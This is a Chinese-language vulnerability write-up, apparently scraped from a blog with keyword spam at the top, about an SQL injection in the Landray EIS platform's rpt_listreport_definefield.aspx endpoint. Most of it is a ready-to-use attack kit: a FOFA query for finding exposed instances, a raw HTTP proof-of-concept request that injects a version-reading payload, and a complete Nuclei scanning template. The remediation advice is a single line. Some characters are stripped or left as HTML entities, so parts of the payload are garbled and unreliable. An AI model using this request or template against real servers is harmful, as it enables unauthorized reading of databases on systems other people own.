温州建站费用,做彩平的网站,昆明利于优化的网站,网站规划建设与安全管理免责声明#xff1a;文章来源互联网收集整理#xff0c;请勿利用文章内的相关技术从事非法测试#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失#xff0c;均由使用者本人负责#xff0c;所产生的一切不良后果与文章作者无关。该…免责声明文章来源互联网收集整理请勿利用文章内的相关技术从事非法测试由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失均由使用者本人负责所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、漏洞描述
蓝凌EIS智慧协同平台是一款专为企业提供高效协同办公和团队合作的产品。该平台集成了各种协同工具和功能旨在提升企业内部沟通、协作和信息共享的效率。
蓝凌EIS智慧协同平台 frpt_listreport_definefield.aspx接口处存在SQL注入漏洞未经授权的攻击者可能会利用此漏洞窃取服务器的敏感信息最终导致服务器失陷 Ⅱ、fofa语句
icon_hash953405444||appLandray-OA系统
Ⅲ、漏洞复现
POC
GET /SM/rpt_listreport_definefield.aspx?ID2%20and%201version-- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 01、发送数据包读取数据库版本信息 Ⅳ、Nuclei-POC
id: lanlingOA-definefield-SQLinfo:name: 蓝凌EIS智慧协同平台 frpt_listreport_definefield.aspx接口处存在SQL注入漏洞未经授权的攻击者可能会利用此漏洞窃取服务器的敏感信息最终导致服务器失陷author: WLFseverity: highmetadata: fofa-query: icon_hash953405444||appLandray-OA系统
variables:filename: {{to_lower(rand_base(10))}}boundary: {{to_lower(rand_base(20))}}
http:- raw:- |GET /SM/rpt_listreport_definefield.aspx?ID2%20and%201version-- HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Length: 0matchers:- type: dsldsl:- status_code500 contains_all(body,nvarchar) Ⅴ、修复建议
升级至安全版本
